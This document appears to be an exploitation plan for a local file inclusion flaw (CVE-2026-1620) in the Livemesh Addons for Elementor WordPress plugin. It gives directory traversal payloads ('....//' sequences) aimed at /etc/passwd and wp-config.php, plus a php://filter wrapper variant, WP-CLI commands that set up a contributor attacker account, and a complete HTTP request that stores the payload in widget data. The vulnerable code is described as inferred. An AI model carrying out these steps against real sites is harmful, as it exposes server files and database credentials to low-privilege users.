Livemesh Addons by Elementor <= 9.0 - Authenticated (Contributor+) Local File Inclusion via Widget Template Parameter

This research plan outlines the steps to exploit CVE-2026-1620, a Local File Inclusion (LFI) vulnerability in the Livemesh Addons by Elementor plugin.

---

1. Vulnerability Summary

The vulnerability exists in the lae_get_template_part() function. This function is designed to load template files for various widgets. It attempts to prevent directory traversal by using str_replace() to remove ../ sequences. However, this implementation is non-recursive. An attacker can use a payload like ....//, which, after a single pass of str_replace('../', '', $payload), results in ../, effectively bypassing the security check. Because the resulting path is used in a PHP include or require statement, a Contributor-level user can include arbitrary files from the server.

2. Attack Vector Analysis

• Endpoint: The vulnerability is triggered when a widget that uses lae_get_template_part() is rendered. This typically happens via the standard WordPress frontend or Elementor's preview/editing mode.
• Vulnerable Parameter: The template or style parameter within a Livemesh widget's configuration (stored in Elementor's _elementor_data post meta).
• Authentication: Contributor-level access is required to create/edit posts and insert Elementor widgets.
• Preconditions:
  1. The plugin Livemesh Addons by Elementor (slug: addons-for-elementor) version $\le$ 9.0 must be installed.
  2. Elementor must be installed and active.
  3. The attacker must have a user account with at least Contributor privileges.

3. Code Flow (Inferred)

1. Entry Point: A user with Contributor permissions creates or edits an Elementor-enabled post.
2. Widget Configuration: The user adds a Livemesh widget (e.g., "Services" or "Posts Grid").
3. Data Storage: Elementor saves the widget settings as a JSON object in the _elementor_data meta field of the post.
4. Rendering Sink: When the post is viewed or previewed, the widget's render() method is called.
5. Vulnerable Call: The render() method calls lae_get_template_part($slug, $name).
6. The Flaw: Inside lae_get_template_part():

   // Inferred logic based on vulnerability description
   $name = str_replace('../', '', $name); 
   $template_file = LAE_PLUGIN_DIR . "templates/{$slug}-{$name}.php";
   include( $template_file );
   

7. Bypass: By providing $name as ....//....//....//....//etc/passwd, the str_replace turns it into ../../../../etc/passwd.

4. Nonce Acquisition Strategy

Elementor saves and previews use specific nonces. However, as a Contributor, you can simply use the WordPress dashboard to create a post.

1. Identify Script: The plugin likely localizes data in lae-settings-data or similar.
2. Create Content:

   wp post create --post_type=post --post_status=publish --post_author=CONTRIBUTOR_ID --post_title="LFI Test"
   

3. Browser Access: Log in as the Contributor and navigate to the post editor.
4. Extract Nonce: If the save operation requires an Elementor-specific nonce, use:

   // In browser_eval
   window.elementorCommon?.api?.utils?.getNonce() || window.elementorConfig?.nonces?.save_builder
   

Note: For a simple LFI trigger, once the post meta is updated via WP-CLI or the editor, simply viewing the post (no nonce required) will trigger the inclusion.

5. Exploitation Strategy

We will use a Contributor account to inject the LFI payload into a widget's settings.

Step 1: Create a Post and identify the Widget
We will target the "Services" widget (slug: lae-services).

Step 2: Update Post Meta with Payload
We will inject a traversal string into the template or style parameter of the widget JSON.
Payload: ....//....//....//....//....//....//etc/passwd (Assuming the plugin appends .php, we might need to target a known file or use a path that resolves despite the extension).

Step 3: Trigger the Inclusion
Perform an http_request to the post URL.

6. Test Data Setup

1. Users: Create a contributor user.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

2. Plugin Config: Ensure Elementor is set up to allow Contributors to edit posts (default behavior).
3. Target Post: Create a post that will host the widget.

   wp post create --post_type=post --post_title="LFI Trigger" --post_status=publish --post_author=attacker
   

7. Expected Results

If successful, the response body of the HTTP request to the post will contain the contents of the target file (e.g., /etc/passwd).

8. Verification Steps

1. Check Meta: Verify the payload was successfully injected into the database.

   wp post meta get [POST_ID] _elementor_data
   

2. Verify Output: Check if the /etc/passwd content (like root:x:0:0:root) is present in the HTML response.

9. Alternative Approaches

If /etc/passwd fails due to the .php extension being appended by the plugin:

• Attempt Path Traversal to Log Files: Try including /var/log/apache2/access.log or /var/www/html/wp-config.php (if the plugin appends .php, including wp-config without the extension might work).
• Payload Modification: Try ....//....//....//....//wp-config (resulting in ../../../../wp-config.php).
• Wrapper Technique: If the input allows, try PHP filters: php://filter/convert.base64-encode/resource=....//....//....//wp-config.

HTTP Request Payload (Example)

To update the post with the malicious widget data using the REST API (if available) or by simulating the Elementor save:

POST /wp-json/elementor/v1/data/ [POST_ID] HTTP/1.1
Content-Type: application/json
X-WP-Nonce: [ELEMENTOR_NONCE]

{
  "status": "publish",
  "data": [
    {
      "id": "random_id",
      "elType": "widget",
      "widgetType": "lae-services",
      "settings": {
        "style": "....//....//....//....//....//etc/passwd"
      }
    }
  ]
}

Final Action: Navigate to /?p=[POST_ID] and observe the inclusion.